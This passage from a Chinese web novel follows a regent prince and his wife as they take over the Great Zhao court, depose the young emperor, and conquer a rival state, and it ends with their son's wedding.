正统帝太想亲政了。这不,话里话外,尽是此意。 “我听了一耳朵,恍惚有御史请奏本,请陛下亲政。陛下已经大婚,理当亲政的。” 袁皇后这会儿也是暗示一二。 那御史敢上奏本,背后有人。谁在撑腰,自然是袁氏一族。 对于袁皇后的娘爱支持一事,正统帝太受用了。 这可是正统帝乐意迎娶了七姓世族女做中宫的助力的根本。 如今也算着瞧着风声起。 正统帝的心头,也是畅想一些美妙的未来。 这一日,帝王宿于中宫的寝殿内。 正统五年,秋末。西征大军搬师回朝。这一回,不止是得胜归来。 同时,大赵出征的大军还是攻占了大晋朝的二州之地。 这攻占下的二州之地,大晋那一边认了,已经差使节来朝。 往昔,在正统朝之前,从来是大晋胜,大赵输。 如今,大赵朝赢了,还割了对方的土地。 这胜得明明白白,这便是唐王的功勋。 燕京都,袁府。 袁家主的心情很坏,如今瞧着唐王势大。特别是得胜归来后。 于是袁家主唤了幕僚,这自然要商量一些预备的退路。 不怨袁家主多心多思。实在是唐王府势大。 待赵济世归来后,自然有天子领众臣郊迎得胜大军。 尔后,宫宴庆贺。 这些对于赵济世而言不重要。最重要的还是让大军这些得胜的将士们满意。 应该属于将士们的战利品,赵济世得给足了。 毕竟是卖命钱,给足了,那么赵济世就是好统帅。 甭管将来如何,下面卖命的士卒们,那认的就是唐王。 晚间。 赵济世难得的,那是关心了儿子后。再是与妻子单独相处。 关于嫡长子赵绥那儿,赵济世今个是粗略的关心一二。 至于歇一歇后,赵济世还要详细的关心了嫡长子。 嫡长子赵绥是未来的唐王府继承人。 赵济世是非常在意的。 “济世哥哥风尘仆仆归来,辛苦了,瞧着,不止辛苦,又是黑了,瘦了。”万珍珠替枕边人换了在家的常服。 “我乃一军统帅,不亲临一线杀阵。我这一点子苦头,那算不得苦。”赵济世真如此想法。 “倒是燕京都里,大事小事,妹妹辛苦了。” 赵济世执起妻子的手,又是小话一番。 这是赵济世的真心话。燕京都这一边妻子盯得紧。 真有要紧事,府上的家书不断。 关于皇室的小动作,有多少人掺合,赵济世从几条线上,那是比对后,可谓是瞧得一清二楚。 妻子这一边,那也是一条明晃晃的线。 毕竟妻子真是觉察什么,可是家里书里写得明明白白。 “那,夫君今个先歇一歇吧。你受累了。有事,明个再谈。” 万珍珠劝道。 “歇 歇?“赵济世揽了妻子入怀。 “我思妹妹,如饥似渴,这会儿可歇不下。”赵济世恨不能将妻子揉了进胸膛里。 这会儿的赵济世想了鱼水之欢。 关于夫妻那一点儿的情事,郎有情,妾有意。 这不,自然是一把子火点了起来。 次日,赵济世难得的,他是起晚了。 万珍珠是陪了枕边人一道的起晚了。 当天,袁家主私下拜会了唐王赵济世,还是送了厚礼。 那礼很厚,能埋了某些大族。可谓是袁家主交的把柄。 对此,赵济世笑纳了。 关于这事情,赵济世没瞒了妻子。这不,当天,从宫廷里归来。 赵济世就给妻子说一说这事情。 “陛下想亲政,我当然同意了。袁家主想靠近,至于是不是真心,我不在意。” 赵济世的眼中有冷光闪过。 “一把火点了,也不防大一点。至于多少人想飞蛾赴火,我且等着。” 赵济世握着兵权,他真不怕。 有人想死,赵济世不拦着,当然是成全了对方。 “我只不知,世家大族到了袁氏这份上,这也太不要脸。” 万珍珠感慨一回。 赵济世揽着妻子,夫妻二人拥在一处。赵济世享受着温情脉脉。 “世家大族从来就是如此。真要脸,也不过装一装,糊裱一**面。真是要脸的,那做不成大事。” 赵济世说得明明白白。 就像赵济世自个,他也是装的。 当然,有些事情装了,一旦装了一辈子。可能假的也成真。 就像是一辈子守了一位妻子。赵济世对于嫡妻万氏妹妹,要说爱,真爱过。 可这一份爱里,那也是掺杂了太多旁的。更有亲情。 就像是这一辈子享受了权势,赵济世遇着的美人计不知凡几。 真没动心过? 有些美人儿太美,哪能不动心。 可动心,也不过一瞬间。尔后呢? 赵济世一辈子立得人设,那就是重诺。甭管真假。 至少赵济世做到了。他承诺的,他都办到。 就像是当年对岳父大人的承诺,如今的他也办到。 一辈子守着枕边人万家妹妹过日子。 那些一瞬间的,又可能的动心,赵济世过了,便是当过了。 因为对于赵济世而言,人设立了一辈子的事情,不能砸了自己的招牌。 赵济世更在意了,他这人设,那是感动人心。 感动的世人,如此,赵济世就是重情重义的君子。 也凭着这一份人设,赵济世一步一步的爬到了如今的地位。 一切来得太容易,赵济世不想推翻它。 那么,美色重要吗? 不重要的。 至少在赵济世的眼中,有太多的东西比美色更重要。 像是唐王一系的大业,像是未来的继承人。 更像是青史之下,一定留了他赵济世的名姓。 权势于赵济世而言,那才是最大的补品。美色,不过区区尔。 赵济世想要一个家,如今有一个家。更有贤妻好儿。 那么,在此之上。 赵济世想爬得更高,想攀了青史之上的名姓。 一切就要一个稳定的后方。 家,便是最好的后方。 家里,不止贤妻好,还有好的儿孙做继承人。 对于嫡长子赵绥,赵济世只有最满意的。 至于嫡次子赵纶,赵济世也是一腔爱意,当爹的,自然也喜爱了惹人疼的小儿子。 在此时,赵济世对妻子讲道:“安康很好。” 赵济世夸了嫡长子。不止夸,他对于嫡长子的未来更期许。 “接下来的几年里,我就想敲敲打打,在七姓等望族的手里敲了好处。于朝廷添一些进益。” 赵济世的眼中,还是挣了出征的军费要紧。 “我想灭大晋,不是一日两日的念想。”赵济世执了妻子的细细描摩。 “妹妹知晓的,我有雄心壮志,不想替儿孙留了烂摊子。” 赵济世这话是摆明了讲。 万珍珠听懂了。 如今不留给儿孙烂摊子?那自然是不想留了权臣的后患。 如何解决了后患,这当然是禅让了。 “我是支持济世哥哥的。当初,我们可是说好了的。” 万珍珠的唇畔含了笑意。 “我等着那一日,待着济世哥哥在青史之上做了脚踩七彩祥云的大英雄,大圣人。” 万珍珠笑道。 情至浓处,夫妻二人当然是咬一咬耳朵。 正统五年,初冬,一场小雪后。 大晋使节来,割二州之地给予大赵。同时,正统帝收到了姑母的信。 这一位大晋的李太后给亲侄儿写信了。 在信中写了什么,除了帝王外,旁人不知。 倒是入冬后,宋太后又病了。 这一病,宋太后再没好过。 泰一宫。 对于正统帝而言,明明大喜,他亲政了。 因为世家大族的支持,朝堂上,那貌似是压倒性的声音。 至于唐王,唐王也是忠臣孝子的做派,也是觉得天子亲政好。 这让正统帝都是怀疑了一番。 “大伴,你说,朕是不是多思了。莫不成唐王还真成了忠臣孝子?”正统帝不信。 正统帝的心底,唐王真不是什么好鸟。 “陛下,甭管唐王所思所想,您亲政了,这才是大喜事。” 全公公很想劝了帝王。 这亲政了,不代表一切随了天子心意。 要知道帝王高高在上,有时候也有迫不得已。 可正统帝这等时候管不了那么多。毕竟大晋朝的使节来割地投子认输。 这让帝王涨了脸面,同时,又亲政了。 可谓是双喜临门,此时的正统帝只有欢喜。 哪怕是亲娘宋太后病了,也一点不减了泰一宫主人的喜悦。 “陛下,太医院呈上太后娘娘的脉案。” 宫人来禀话。 一听宋太后的事情,正统帝拿过来,亲阅一回。 看过,正统帝的眉眼间,也是变了。少了欢喜,多了愁思。 “陛下,太医院里有国手名医,自会治好了太后娘娘。陛下龙体为重。” 全公公在劝话。 可正统帝听进去的不多。他只道:“摆驾,朕要去瞧一瞧母后。” 正统帝瞧过太医院呈上来的脉案。宋太后的情况不容乐观。 事实也如此。 三日后,宋太后薨逝。 太后薨逝,国丧起。 万珍珠的唐王妃身份,她当然要进宫去哭灵。 身为超品的诰命,万珍珠这儿可是领头羊。 盯着的人太多,万不能失了礼数。 于是正统五年,冬。 这一个冬于万珍珠而言,过得没多少滋味。 因为太忙碌了。 唐王赵济世有心,还想着更进一步。万珍珠要支持。 如何支持?自然是银钱上的支持。 这银钱如流水,哗哗的流出去。哪怕进帐再多。 这一旦关系到了谋国之事,再多,也不算多,只有少了的份。 这一日,唐王府。 万珍珠与自家人赏一赏梅花,开一场小宴。 没旁人,全是自家人。 就是吃了梅花酿时。万珍珠听了万嬷嬷的禀话。 “如此吗?”万珍珠惊讶一回。 也不是小事。宫廷里,袁皇后小产了。 在宋太后薨逝不久,皇后小产。宫廷里,唐王府不缺了耳目。 这事情谁办的? 正统帝如今除了试婚前的侍候女官外,就独属于一人,那便是袁皇后。 可谓是后宫三千,独宠一人。 如今的袁皇后在宫廷里,可谓是得意人。她小产。 真不是侍候过正统帝的女官所为。没那本事,也没那后台。 当然,更不是唐王府办事。 万珍珠还肖于用这等小计。毕竟,袁皇后的身份摆那儿。 这事情不是唐王府办的。 袁皇后和正统帝只有欢迎了嫡子,没可能不想保。 实际上,谁办的。 万珍珠真知道。因为宫廷里的大事小事,她盯得紧。 当然,不止万珍珠盯得紧,她的枕边人盯得更紧。 这事情嘛,袁氏一族办的。 也便是说袁皇后的跟前,家族的钉子,那效忠的还是袁氏一族。 燕京都,袁府。 袁家夫人得了宫廷里的消息后,那是伤心一场。 对于皇外孙,袁夫人可盼着。 如今女儿小产,袁家夫人都替女儿伤心的很。 于是,当日袁家主下差归来。 袁家夫人去了前院,去书房里见了夫君。 关于袁皇后小产一事,袁家夫人当然得问一问夫君。 请夫君替自家闺女做一回主,那得查一个清楚明白。 “没保住孩子,那是缺了缘分。这一回出了差子,后面仔细些,总归会有孩子的。这事情,不好查。” 袁家主几句话的功夫,还是打发了袁家夫人。 哪怕袁家夫人哭了凄凄惨惨。 袁家主没心软。 待袁家夫人不开心的离开后。袁家主倒是留于书房内。 这会儿的袁家主是一声叹息。 女儿肚子里的孩子怎么没的?袁家主吩咐的。 这便是投了唐王府后,袁家主交的把柄之一。 只是之一。 因为投入的沉没成本多了。 袁家主如今想退,那也不可能退了。真退了。 有些事情摊开了,袁氏一族遭不住背后的敌手。 又或者说唐王府也是软柿子。 大晋割二州之地,从这事上,关于唐王府的兵强马壮,可见一斑。 对于袁家主而言,女儿重要,家族更重要。 皇家,当年宋国舅的操作,把宗亲打落尘埃里。 缺了宗亲的守护,皇家,那是底子薄了。 莫看宗亲强势时,可能是自己打起来。毕竟皇位摆那儿。 可真论起来,宗亲强势,也是守护了皇家的利益。 利益就那么多,有人多,有人少。 宗亲倒台了,吃到好处的人太多。如今的皇室便是想扶了宗亲。 宗亲也是小苗一点点,那是不成气候的。 介于此,袁家主才会投子认输。没法子,兵强马壮的唐王府,那太难弄倒了。 第120章 正统六年,又是一年。 在 宋太后国丧结束后,朝堂上出了新风向。 有御史上书,再请天子正统帝继位。 大赵朝,燕京都,唐王府。 前院书房内,赵济世在听着嫡长子赵绥的汇报。 对于嫡长子的培养,赵济世用了全部的心血。 如今瞧着嫡长子的成长让他满意,赵济世颇有后继有人的欣慰之感。 “既然陛下病了,那就是好好休养。”赵济世开口讲道。 正统帝被病了。 燕京都,皇宫,泰一宫。 正统帝这会儿心情挺好的。因为御史上书,还是一波的风潮。 对于正统帝而言,近一年,他暗中拉拢了不少人。 如今瞧着,唐王也没有反对。 特别是对于唐王世子的试探,正统帝瞧着这一位人称笑面阎罗的世子,在天子跟前,也是恭敬有嘉。 这不,正统帝觉得唐王世子,可能,也许,也是能拉拢一二。 特别是岳丈大人那一边,也是通过袁皇后给了一些暗示。 唐王世子受大儒教导,真是一等一的忠臣孝子。 旁人的话,正统帝可能会怀疑。 岳丈的话,信七分。那么,袁皇后的话,正统帝信九分九。 唯那一丝的不信,也不过是少年天子的本性。 便这时,袁皇后来了御书房。 帝王的御书房,旁的宫人眼中是重地。可搁了袁皇后这儿,那是随意进出。 袁皇后一来,正统帝便是满脸的好心情。 “梓潼,朕与你分享一桩喜事。”正统帝这会儿想跟袁皇后分享一个喜讯。 “陛下,何等喜讯?”袁皇后笑问道。 “朕打算在亲政后,给自己和梓潼换一个尊号。” 正统帝早有琢磨了。 当憋屈的傀儡,正统帝觉得太久了。他就想换一换心情。 “陛下,您有何高见,快说来听听,也让我涨一涨见识。”袁皇后笑道。 这会儿帝后坐与一处。正统帝便是讲道:“朕想,到时候下面人替朕上尊号天皇,梓潼便是天后。” “天皇天后。”袁皇后一听,眉眼带了笑道。 “陛下圣明。” 袁皇后当然不会反驳了正统帝的心意。在心中,袁皇后则在想着,趁着这一个机会。 袁皇后当然更想揽权。不想揽权的皇后,不是皇后。 或者说,打从去年小产后,袁皇后便是有了危机感。 袁皇后想借着自己的身份,那是多替揽了保证。 特别是如今宫廷的侍卫侍从,这里面没太多的心腹。 不过随侍近身的,那陪嫁的心腹。 旁的,特别是唐王府在宫廷内的势力,真让袁皇后如鲠在喉。 只不过如今的唐王府瞧着,还是识趣的。没出声反对了天子亲政。 这不,至少明面上,唐王府不把事情做绝。 袁皇后当然不能得寸进尺。 有些斗争,特别是弱势的一方。那肯定不想把路走绝。 只不过袁皇后万千想法,那是想的太好。奈何,没机会。 特别是正统帝,他就倒在了亲政的前夕。 帝王病了,一病不起。 这等事情自然闹大发了。同时,天子膝下无嗣。这挺要命。 连接班的太子都是没有的。 在这等情况下,关于帝王一病不起的风声传出来。 燕京都里,瞧着又是风声大起的模样。 燕京都,内城,袁府。 袁家主跟幕僚商议过一番事情后,他独自感慨一番。 “唐王做事,真狠。” 袁家主知道一些内幕的。至于说替唐王世子张目,袁家主已经干了。 这近一二年里,袁家没遭着损失,相反,还是收获颇多。 这里面自然有唐王府的示好。 同时,七姓世族里,不是谁都跟袁家一样。 也有人也开始倒霉了。 袁家主是识趣人,这既然选边站了,那当然还是在唐王府没失势前,那肯定是不想跳船一事。 大势如潮,滚滚而来。 袁家主可知道的,唐王来年,又要大征西边。 大晋朝的朝堂,据说也是乱的很。 一场大败,肯定那要内斗一番,总得有一个结果。 谁输了,谁顶锅,那么,那就要吐血失势,不止自己倒霉,家族跟着倒霉。 于是,这黑锅谁顶,这是一个大大的说法。 不一定是办砸事的人顶锅。端看,这内斗的结果如何。 赢了,那自然洗得清白。输了,就是成王败寇。 大晋朝目前的情况,前面都打输了,割地赔款。 若是再输了。 这里面的文章可有说法。袁家主看上的,便是唐王府的兵权。 兵强马壮者为尊也。 袁氏一族自然不弱于人。可这“秀才”与“世族”一旦遇着军阀,只能说,拿刀把子的说法更有份量。 燕京都,唐王府。 这一日,一场夕食后。一家子人坐一起,谈一起家常趣事。 尔后,各自回屋歇息。 夫妻独处时,赵济世与妻子讲道:“朝堂纷争,有些事情咱们府上要掺合了。” “妹妹,我想着,常王不错,颇有天子相。妹妹以为如何?” 赵济世问了枕边人的看法。 常王,承顺帝的小儿子。正统帝的最年幼的弟弟。 常王有天子相,那么,正统帝咋办? “济世哥哥想行废立之事?”万珍珠问道。 “在外人面前,当然是陛下不能理事,退位让贤。在妹妹面前,我自然得承认,我便是想行废立之事。常王软弱,又兼年幼,倒是颇不错的天子人选。” 赵济世在枕边人的跟前,实话实说。 “来年大征,若大胜则罢。若不得大胜,我不甘心。” 赵济世揽着妻子入怀,此时,他在述说着他大志向。 “若灭此僚,征服晋朝,凭灭国之功。自可行禅让之事。那皇位,李家坐的,赵家如何坐不得。” 赵济世的野望被养了出来。 或者说,这些年里,赵济世一直在想法子让唐王府的风光依旧。 宋国舅的前车之鉴搁那儿,读青史多了,赵济世不傻。 权臣,没登顶的权臣,从来没有好下场。 不止自己没好收场,家族更可能灭的根儿都不剩。 赵济世不甘心,走到今天,他不容易。跟他一起争富贵的兄弟们也不容易。 赵济世就想荣华富贵的好愿景,那是长长久久。 “济世哥哥,早前我就讲过,我随行。你想干什么,我一定支持。若是你杀人,我便替递刀子。” 万珍珠这会儿一开口,那也是坦坦荡荡。 不为旁的,只因为她不傻。 唐王府如今的荣耀,在燕京都,那风头都盖过了皇家。 没得退,干脆就不退了。 枕边人是这般心思,万珍珠当然是一样的心思。 “好,好。”赵济世连道好,他心头踏实。 唐王府的府务 ,有了这般心意相通的枕边人。 赵济世在外头,那自然各有心思力争上游。 正统六年,秋。 正统帝在重病不起,实在无能为力时,勉励同意了退位让贤一事。 常王,先帝的小儿子被唐王这一位摄政王扶上了皇位。 这一年,改年号为永顺。 永顺帝还是小少年,关于皇权嘛,这一位小天子不可能拿捏在手。 于是这等要紧的负担,自然是唐王替天子分忧了。 要说,这桩退位让贤的事情里,谁最失落。 自然是没有最失落,只有更失落。 正统帝这一位太上皇,那是病歪歪。一直没养好了病体。 至于太上皇后袁皇后,那也是一位可怜人。 倒是永顺帝,这一位新上位的小天子。性子绵软。 那是的软身段。 朝堂上,万事不管。便是上朝了,也是做了泥塑的菩萨。 万事,全由摄政王全权做主。 在这等情况下,唐王府的威势自然是越来越盛。 哪怕唐王府想低调,那也不可能。从来没权臣能低调下来的。 摆台面上办事,那就没可能做了软弱主儿。 永顺元年,这一年,唐王赵济世大征西边,又是一场大胜。 来年,永顺二年,唐王再度西征。 当然,唐王西征,从来是调了心腹的禁军。 这是唐王做了摄政王后,齐大赵国库而养起来的一支禁军。 可谓是大赵朝唯一的一支以征战为目的的军队。 这一支禁军,明为赵朝的大军。实为唐王私军。 用国库养私军,只要名目够了,唐王那肯定是可劲儿的花。 花朝堂的钱,办自家的事。 这也是唐王府的根基。毕竟养兵嘛,从来是吞金兽一样。 特别是只干杀人活的兵。 只管出征,旁的,全由唐王负责。 这样一支私军,养多了,莫说唐王府养不起。 哪怕让国库养着,一样养不起。 这不,不止国库养着,唐王府还在贴补着。 哪怕如此,想让这样一支私军有战力。不止得花钱,花大钱。 同时,军纪严明,那就必需。 花在这一支禁军上的功夫,可谓是用尽了唐王府的一切手段。 不止给钱。 更要结了恩义。 有时候,真心换真心。对于唐王府而言,不止待禁军仁厚。 便是待了禁军的家属,那也得解决了后顾之忧。 总而言之,也是有这一支私军在。 禁军,在有心人的嘴里,那从来就叫唐家军。 唐王府的兵,吃了唐王府的饭嘛。 永顺四年,燕京都,唐王府。 万珍珠领着未来的长媳挛堤明珠正在料理府务。 对于未来的长媳,万珍珠很满意。 这些年,这孩子帮衬她不老少。让万珍珠是轻省不少事。 特别是挛堤明珠对于亲儿子安康的上心,对待弟弟安福的用心。 这样的嫡长媳,又得了儿子安康的心意。万珍珠一万个满意。 “王妃,大喜。” 万嬷嬷来报信。 这会儿的万珍珠笑道:“嬷嬷,莫急,你先喘口气。气顺了,你带细说便是。” 瞧着万嬷嬷失了往日的从容,这会儿急匆匆而来报信。 万珍珠安慰一二。 万嬷嬷顺了气息,尔后,笑着禀话道:“恭喜王妃,下面人来报信。西边大捷。大晋被咱家王爷给灭了。” “听说,这要献俘于庙前。” 万嬷嬷可不止说一说传闻。 这会儿的万嬷嬷还递了一封家书,这也是自家的骑从快马连鞭回了燕京都的报喜信。 “……”万珍珠这会儿脸上全是笑容。 接过万嬷嬷递上来的家书。万珍珠看了封口,尔后,拆开。 待看过后,万珍珠心中一点点的忐忑,也是消失。 “大喜,如嬷嬷所言,确实是唐王府的大喜事。” 万珍珠笑得开心。 “府上同喜,俱是加赏。”万珍珠一开口,给所有人加赏三月的月钱。 这会儿自然是人人欢喜。毕竟加了赏,谁又会嫌弃了白得赏钱。 这会儿的万珍珠留了未来的嫡长媳说一说话。 挛堤明珠也是恭喜了未来的婆母。对于挛堤明珠而言,她也是欢喜的。 “明珠,我与你伯父是一样的心思。安康年岁不小了。” 万珍珠嘴里这般说。 其时在心里,万珍珠知晓。儿子年十四岁,搁未来的世道,这年岁还年少。 可搁这一个世道,这年岁当爹都成。 毕竟这是事实。特别是挛堤明珠的年岁,那比赵绥大几岁呢。 如今的挛堤明珠在一些有心人的嘴里,那都成了恨嫁的老姑娘。 哪怕为了堵一些人的嘴,万珍珠也得挛堤明珠一个交待。 或者说是给嫡长子的婚事落一个定心丸。 可不能让有心人真的办成了事。 唐王府的嫡长媳,万珍珠从来没想过换人。 有些人的办事手法,万珍珠知晓一二。 这些年里,围绕着嫡长子的跟前,那一些的斗法。 万珍珠没眼瞎。 既然满意儿媳,儿媳挛堤明珠的年岁真不能拖下去。 再拖下去,太容易让有心人误会。 那会让一些人想歪了。毕竟唐王府世子到了成婚的年纪。 这未来的媳妇也在府上养了这些年。 再不成婚,更多的有心人想歪了,那很容易闹出来大麻烦。 对于嫡长子而言,有一个稳定的嫡妻,有一个稳定的家,那太重要了。 一旦让人使了美人计,一计不成,再生一计。 一计一计下去,万珍珠替嫡长子安康心疼。 郎有情,妾有意。一对小儿女青梅竹马,万珍珠当然是成全了。 “待你伯府归府后,你和安康的婚事提上日常。来年,寻着一个吉日,就为你二人大婚。” 万珍珠拉着挛堤明珠的手,笑道:“我是满意你的。府里上上下下,皆是服你的。” “明珠,我可把安康交给你了。”万珍珠笑得温柔。 “伯母。” 挛堤明珠害羞了。 “我全听您和伯父的安排。”挛堤明珠的心里恨嫁的。 她真恨不能早早嫁给未来的夫郎赵绥。 生活在唐王府这些年里,挛堤明珠早把这儿当成自己的家。 和蔼的长辈,贴心的未来的夫郎,还有一个活泼又有趣的小叔子。 说实话,这些年里在燕京都,挛堤明珠瞧了太多的高门大户。 那些妻妾成郡,嫡嫡庶庶,那是一团乱麻的高门大户相比较,唐王府的主子人口简单。 府里的人情,从来是温情脉脉。 而且便是府里的下人,落了伯父伯母的眼里,也不是什么下人。 特别是那些有本事的,挛堤明珠可瞧着,伯母给了那些好小子一份前程。那些好姑娘一份嫁妆。 这可谓是成全了不少的好姻缘。 赠人鲜花,留有余香。 唐王府落在挛堤明珠的眼中,更像是一个人才的培养地。 许多人从这儿走出去,那是走一条光辉大道。 做官的,做管事的,从军的等等,可谓是不一而足。 总之,全凭本事。 可唐王府的恩,那是给的十足。 就因为如此,挛堤明珠才喜爱了主子人口简单的唐王府。 挛堤明珠是以真心换真心。她不怕,因为唐王府跟那些所谓的“高门大户”不一样。 真是走进女眷的圈子,听了那些名门淑媛的宴请来往。 挛堤明珠也是涨脑子的。 就因为知道太多,知道了未来夫郎的好。那可谓是香饽饽,太多人想咬一口。 挛堤明珠可护食了。 若能早早成婚,挛堤明珠没有不愿意的道理。 这些年里,她只盼着。 等着从伯母这儿离开。挛堤明珠回了自己住的院子。 “姑娘,大喜啊。”赵嬷嬷一脸欢喜。 听着教养 嬷嬷的恭喜,挛堤明珠笑道:“嬷嬷,你是知道的,我盼这一天,盼得眼珠子绿了。总算是得了准信儿。” “来年,我能嫁给了安康。”挛堤明珠的脸上全是笑意。 “是啊,我家的姑娘心想事成。”赵嬷嬷真是一脸的欢喜。 永顺四年,秋。 待唐王大归,大军得胜归来,献俘之后。燕京都,热议纷纷。 明眼人瞧着这等大事,趁着热闹,也是凑一凑趣。 毕竟大胜了,禁军可谓是归来,那当然是消费一波大的。 燕京都的红火,可谓是红红火火。 也是这等时候,有识趣的,那自然也是吹一吹风声。 或者说唐王一系的人马里,太多人识趣了。 永昌伯府。 马义见着妹婿,这妹婿就在吹了风声。为什么? 马义当然知道。 马义是唐王的义弟。这妹婿乐意娶了沈小莲。 为什么? 为的还不是巴结上唐王一系的势力。要知道沈小莲什么身份。 明面上只是马义的妻妹。 实则嘛,懂得都懂,这是马义的亲妹子。先帝,承顺帝的嫔妃。 “兄长,这等好机会,可不能弱于旁人。” 这一位马义的好妹婿只干一件事。那就是催促了好兄长。 那赶紧的劝进。 毕竟马义成了开国功勋,这做为妹婿,那前程更是大大的。 “灭国之功,如何相筹。这里面的文章,兄长,您是明白人。可不能落于人后。让人先拍了唐王的马屁。” 妹婿继续的劝话。 “此事,我会思量。” 马义没急着答应。 真当马义不急?不急才怪。 可有些事情,不是那么办的。 马义这儿有定力。 后宅,沈小莲也在跟嫂嫂沈氏商量一二事情。 沈小莲如今膝下有儿女。 可谓是人生满足,这不,真满足了,又担忧了儿女的将来。 沈小莲跟娘家从来亲近的很。当然,唐王府也是多有走动。 只是沈小莲很识趣,每一回去唐王府,那一定是随了嫂嫂沈氏。 谁让沈小莲的身份尴尬着,她是一个识趣人。 能不给唐王府添麻烦的时候,她从来不会多寻事。 因为得了亲人太多的助力,沈小莲也是贴心人儿。 “嫂嫂,唐王府大胜,这可是大喜事。也不知王妃那儿,今年会不会举办了更盛大的赏花宴。” 沈小莲关心一遭。 “今年喜庆大事多,这想必是免不了的。”沈氏琢磨一下后,倒是说了自己的看法。 “倒时候妹妹与我一道去,也是见识一二唐王府的热闹。” 沈氏笑道。 “全听嫂嫂的。”沈小莲也是一脸笑意。 “嫂嫂,我听着一些风声。有人在传,说是唐王府更进一步。”沈小莲指了指皇宫的方向。 “这事情,风波越传越大,对唐王府会不会有坏影响?”沈小莲很关心。 “这事情我也听着一二风声。”沈氏讲道:“我还跟王妃提过。想必王妃那儿有章程。” 事儿,一旦知道。沈氏可不敢瞒。 至于唐王府的打算,沈氏也不会多问。事儿知道,提上一嘴。 尔后,自然是等了动静。 “嫂嫂,您说,这可能吗?”沈小莲的眼中,也是兴奋的神情。 对于大赵朝,沈小莲没多少的好感。承顺帝待沈小莲又不是真心真意。 至少落了沈小莲的眼中,她当年就是一颗棋子。 特别是在皇家寺庙吃斋念佛那些年。比着往昔的苦,再比着如今的儿女双全,夫君体贴的甜。 沈小莲的心里,大赵朝的皇室在她这儿,印象分全是负的。 沈小莲是盼着唐王府更进一步。 谁让沈小莲的靠山,她家亲哥马义,那就是靠着唐王府呢。 对于沈小莲而言,唐王府好了,他们这些附于尾翼的,那才会更好。 “妹妹,有些话不兴多讲的。”沈氏赶紧的提醒一回。 “隔墙有耳,有些话不多讲。特别是我们的身份。万一让人误会了,不好。” 沈氏从来是小心行事。 真是提了什么话,那也是给唐王府当了嘴替。 沈氏办事,看的便是唐王府的眉眼高低。 “嫂嫂,我多嘴了。往后,我一定不多讲这等事。”沈小莲赶紧回应。 “对了,妹妹,另有一事。”沈氏笑道:“还得与妹妹说。这不,唐王府的请贴。你那儿备着来年给世子的贺礼,如今可有什么需要嫂嫂这里帮衬的。” 沈氏自然知晓,这一位嫂嫂出嫁时,得了各家义兄的贴补。 那嫁妆丰厚。 可再是丰厚,那是妹妹的嫁妆。 为了在夫君那儿的印象。沈氏在钱财上,待这一位妹子很大方。 主要是沈氏不缺钱。 有了嫂嫂唐王妃拉拢着一起做生意。永昌伯府的财政非常好。 于是沈氏也是大手大脚,还是乐意拉拢了小姑子的一颗心。 “嫂嫂放心,给世子的贺礼,不止我在意,夫君也在意的很。我们一点子心意,真不缺了一份银钱。” 沈小莲想着送礼,不止送真心,还得自家安排。 真让嫂嫂出钱,这就是她太不识趣。 “嫂嫂,你是知道的。当年我出嫁,各家兄长与嫂嫂们都是帮衬太多,添妆也多。我啊,心领了嫂嫂您的好意。” 沈小莲拒绝了沈氏的美意。 可沈氏更满意。 瞧着沈小莲的识趣,这当然是心情舒畅。 毕竟帮衬人,也得让被帮衬的知趣识趣。 正统五年,一开春。钦天监选的吉日。 唐王府的世子赵绥大婚。这当然是大喜。可谓是燕京都的大事。 明明这等喜庆的日子。也有不开心的人。 不是什么普通黎庶百姓,而是皇家里的失意人。 如曾经的大晋朝李太后,如今的大赵朝长公主淑阳公主。 淑阳公主做过大晋朝的太后,如今呢,被迎回了大赵朝。 大晋朝灭了。大赵朝的前程瞧着也是王小二过年,一年不如一年。 在这等情况下,淑阳公主的心底,那是没底。 淑阳公主没底儿,那么,她当然是心情坏的很。 在皇室里,淑阳公主不是没想过串连一二。 可惜,如今的皇室小猫三两只。 “全怪了宋氏一族。宋家,真是大赵的祸星。” 怨不得淑阳公主这般想。 实在是宋国舅当年留下来的天坑。当年打击了大赵的皇室。 这不,皇室如今真是没能耐人了。朝堂上也是没了立得住的人手。 想归想,淑阳公主还是有一些的走动。毕竟,她的背后也有人撑。 人没老,也更没老的正统帝,这一位太上皇,那可谓是跟淑阳公主凑一起。二人准备干一点事情。 对此,太上皇后袁氏,那也是掺合一脚。或者说袁皇后很积 极的。 有袁皇后的掺合,一些的世家大族自然也是搅和在里面。 这在淑阳公主眼中,这当然就是好戏能上场。 燕京都,唐王府。 这一日的唐王府广迎各方宾客。对于唐王府而言,这当然是大事。 毕竟唐王世子成婚。在世人眼中,一旦成婚了,便是成丁了。 成家立业。这便是能顶门立户的存在。 这未成丁跟成丁,那是两码子事情。这代表了唐王府的第二代能顶事。 不是嘴皮子的顶事,而是实实在在的能办大事。 对于赵济世而言,这也是能给嫡长子多加一加更多的担子。 锻炼嘛,如今能上更大的力度。 锻炼,何尝不是交接了一部分的权柄到嫡长子的手中。 这便是唐王府固了根本,这也是后继真正有人。 因为这世道信一个主少国疑心。真是幼主,可太容易太阿倒悬。 这一日,见证了新人的大礼。坐于高堂,万珍珠很开心。 “一拜天地。” “拜” “二拜高堂。” “拜。” 万珍珠瞧了着喜服的儿子儿媳,瞧着这一切。 万珍珠恍然若梦中。 这一天,真是盼太久。 唇畔一抹笑,笑意入眼眸子的深处。万珍珠欢喜的很。 今日,万珍珠觉得她都能多吃几盏酒。这酒,太香。 这一晚,万珍珠睡得都是甘甜万分。 倒是新郎新娘的喜房里。赵绥这儿可是有陪酒的伴当。 他这儿,可真没傻子灌醉了他。 毕竟世子的喜宴,那肯定还得高高兴兴的洞房。 谁让春宵一刻值千金呢。 喜房。 至于闹一闹的人?没这等的傻子。 只不过做戏嘛,倒有人乐意凑合一个数儿。 不过是凑一凑。 这气氛演一演。 等着新郎官新娘子真的进行完洒帐等礼仪后。 哪怕是小叔子赵纶都是识趣的给哥哥嫂嫂让位。 喜房内,龙凤烛燃。 赵绥瞧着烛光下的新娘子,他笑道:“今天的你,真美。” “皎皎明珠,美若仙子。”赵绥执起挛堤明珠的手。 “此生有幸,执子之手,唯愿与子揩老。”赵绥许了此生相伴的诺言。 “执子之手,与子揩老。”挛堤明珠的眼中有光。 这会儿的挛堤明珠笑得开心,灿烂若春花。 这一刻的好,那心里也是甜蜜蜜的。 次日。 挛堤明珠的身份不同,那是以正式嫡长媳的身份。 先请公爹与婆母等长辈吃茶。 尔后,再赠给了小叔子礼物。 介于此,万珍珠笑得开心。也是把府务一分为二。 内宅之事,由儿媳管一管。 倒是外面的事情,万珍珠没打算洒手。万珍珠很在意了那些产业。 在将来,这些传给儿孙。不止给了长子,也会留给次子一份。 